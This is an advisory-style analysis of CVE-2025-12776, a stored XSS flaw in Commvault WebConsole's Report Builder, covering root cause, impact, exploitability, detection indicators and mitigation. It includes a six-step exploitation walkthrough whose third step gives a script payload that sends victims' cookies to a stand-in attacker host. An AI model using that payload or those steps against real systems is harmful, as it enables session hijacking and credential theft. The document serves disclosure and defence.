CVE-2025-12776: 
Commvault vulnerability analysis and mitigation

CVE-2025-12776 is a stored Cross-Site Scripting (XSS) vulnerability in the Report Builder component of Commvault's WebConsole package. The vulnerability arises because user input is stored directly in web pages without validation, and the malicious script executes when a user with edit permissions modifies the report through the Report Builder. Affected versions include Commvault 11.32.0–11.32.112 and 11.36.0–11.36.68. The WebConsole package is end-of-life and no longer maintained. The CVSS v3.1 base score is 5.4 (Medium), while the CVSS v4.0 base score is 1.8 (Low) (Red Hat CVE, Commvault Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant (CAPEC-592). User-supplied input entered during report creation in the Report Builder is stored without sanitization and later rendered in the web page. Critically, the injected script does not execute when end users run the report; it only executes when a user with edit permissions opens the report in the Report Builder for modification. Exploitation requires network access, low privileges, and active user interaction from an authorized editor (Red Hat CVE, Commvault Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browser context of a user with report edit permissions, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. The confidentiality and integrity impacts are rated low, and there is no availability impact. Because the WebConsole is end-of-life and Commvault strongly advises against its use in production, the practical blast radius is limited to environments that have not yet decommissioned the package (Red Hat CVE, Commvault Advisory).

There is no known public proof-of-concept exploit code or evidence of in-the-wild exploitation for CVE-2025-12776. The EPSS score is approximately 0.035% (0.000350), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement for an authenticated attacker with at least low-level privileges and a victim with edit permissions to interact with the malicious report (Red Hat CVE).

1. Gain access: Obtain a low-privileged account on a Commvault WebConsole instance running an affected version (11.32.0–11.32.112 or 11.36.0–11.36.68).
2. Create or edit a report: Navigate to the Report Builder component within the WebConsole and create or modify a report.
3. Inject malicious payload: Insert a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a report field that accepts user input without validation.
4. Save the report: Save the report so the malicious input is stored in the application's database and rendered in the web page.
5. Wait for victim interaction: Wait for a user with edit permissions to open the report in the Report Builder. When they do, the stored script executes in their browser context.
6. Harvest results: Collect stolen session tokens, cookies, or other sensitive data exfiltrated to the attacker-controlled server (Commvault Advisory, Red Hat CVE).

• Logs: WebConsole access logs showing unusual report creation or modification requests containing encoded script tags (e.g., %3Cscript%3E, <script>) in report field parameters.
• Network: Outbound HTTP/S requests from the WebConsole server or from editor-role user browsers to unknown external domains shortly after report editing activity.
• Application Behavior: Unexpected redirects or pop-ups occurring when authorized users open reports in the Report Builder interface.
• File System: Review stored report data in the application database for entries containing JavaScript tags or event handler attributes (e.g., onerror=, onload=, <script>).

Commvault's primary recommendation is to immediately stop using the WebConsole package, as it is end-of-life and no longer receives security updates or patches. If the WebConsole must remain deployed (e.g., for Report Builder access), it must be isolated in a fully air-gapped network with no access to sensitive data or internet connectivity. Organizations should upgrade to a supported Commvault product version and migrate away from the WebConsole entirely. Refer to the official security advisory for additional guidance (Commvault Advisory).

Commvault explicitly acknowledged the end-of-life status of the WebConsole package in its advisory and issued a strong recommendation against its use in any production environment, framing the vulnerability disclosure as a precautionary notice rather than an active threat (Commvault Advisory). Red Hat tracked the CVE for awareness purposes (Red Hat CVE). No significant independent researcher commentary or broad media coverage has been identified for this vulnerability.